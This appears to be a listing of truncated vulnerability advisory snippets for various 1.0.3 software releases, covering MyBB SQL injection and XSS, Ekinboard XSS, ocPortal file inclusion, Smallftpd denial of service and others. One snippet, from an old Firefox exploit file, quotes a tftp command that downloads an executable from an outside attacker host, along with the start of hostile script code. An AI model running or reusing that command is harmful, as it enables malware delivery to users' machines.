[myimei]MyBB1.0.3~managegroup.php~Multiple SqlInjection & XSS

ORIGINAL ADVISORY/ http://myimei.com/security/2006-02-10/mybb103managegroupphpmultiple-sqlinjection-xss.html Vendor Credit:http://community.mybboard.net/showthread.php?tid=6777 ——————-Summary—————- Software: MyBB Sowtware’s Web Site: http://www.mybboard.com Versions: 1.0.3 Class: Remote Status:...

MyBB 1.0.3 - 'Managegroup.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/16692/info MyBB is prone to a cross-site scripting vulnerability.. This issue is due to a lack of proper sanitization of user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user...

MyBB 1.0.3 - moderation.php SQL Injection

MyBB 1.0.3 - moderation.php SQL Injection source: https://www.securityfocus.com/bid/16538/info MyBB is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input. Successful exploitation can allow an attacker to bypass authentication and gain...

DEBIAN-CVE-2005-4745

SQL injection vulnerability in the rlmsqlcounter module in FreeRADIUS 1.0.3 and 1.0.4 allows remote attackers to execute arbitrary SQL commands via unknown attack vectors...

PT-2005-4395 · Ekinboard · Ekinboard

Name of the Vulnerable Software and Affected Versions: Ekinboard version 1.0.3 Description: The issue allows remote attackers to inject arbitrary web script or HTML, which can lead to cross-site scripting XSS attacks. This is possible via the id parameter in the "profile.php" endpoint and the...

firefox103.txt

firefox 1.0.3 spoof+auto dl ./0 bite the cheese illwill./ idiot tftp -i illmob.zapto.org get test.exe c:\test.exe ./-----------------js.js----------./ var blockedReferrer = 'blockedReferrer'; NSActualWrite=document.write; // Popup Blocker -- RanPostamble=0; NSActualOpen=window.open; function...

[SA16003] DownloadProtect "file" Disclosure of Sensitive Information

---------------------------------------------------------------------- Bist Du interessiert an einem neuen Job in IT-Sicherheit? Secunia hat zwei freie Stellen als Junior und Senior Spezialist in IT- Sicherheit: http://secunia.com/secuniavacancies/...

firefox security update

CentOS Errata and Security Advisory CESA-2005:383 Updated firefox packages that fix various security bugs are now available. This update has been rated as having Important security impact by the Red Hat Security Response Team. Mozilla Firefox is an open source Web browser. Vladimir V. Perepelitsa...

[hackgen-2004-#002] - Remote file inclusion bug in ocPortal 1.0.3.

http://www.hackgen.org/advisories/hackgen-2004-002.txt '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' hackgen-2004-002 ' '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Remote file inclusion bug in ocPortal 1.0.3. '...

smallftpd 1.0.3 Multiple DoS

The remote host seems to be running a version of Smallftpd that is 1.0.3 or earlier. Such versions are reportedly affected by denial of service and directory traversal vulnerabilities. This script was written by Audun Larsen Changes by Tenable: - Revised plugin title, changed family 2/03/2009 -...

Smallftpd 1.0.3 DoS

Application: Smallftpd http://smallftpd.free.fr/ Version: 1.0.3 Bug: Denial Of Service Author: intuit e-mail: [email protected] web: http://rootshells.tk/ greetz to: tgs ; 1. Description 2. The bug 3. The code 4. The fix ^^^^^^^^^^^^^^^^ 1. Description: ^^^^^^^^^^^^^^^^ Vendor's Description:...

DEBIAN-CVE-2002-1765

Evolution 1.0.3 and 1.0.4 allows remote attackers to cause a denial of service memory consumption and crash via an email with a malformed MIME header...

Abyss Web Server version 1.0.3 shows file and directory content

Abyss Web Server version 1.0.3 shows file and directory content .oO Overview Oo. Abyss Web Server version 1.0.3 shows file and directory content Discovered on 2002, June, 30th Vendor: Aprelium Abyss Web Server 1.0.3 is a free personal web server available for Windows and Linux operating systems...

CVE-2001-0523

The CVE-2001-0523 entry concerns eEye SecureIIS versions 1.0.3 and earlier. Affected component: SecureIIS request filtering logic. Root cause: remote attacker can bypass filtering by escaping HTML characters within the request, enabling use of restricted variables and potential directory traversa...

CVE-2001-0524

CVE-2001-0524 affects eEye SecureIIS versions 1.0.3 and earlier. The issue is that SecureIIS does not perform length checking on individual HTTP headers, allowing a remote attacker to send arbitrarily long header strings to IIS, contradicting the product’s advertised behavior. The vulnerability’s...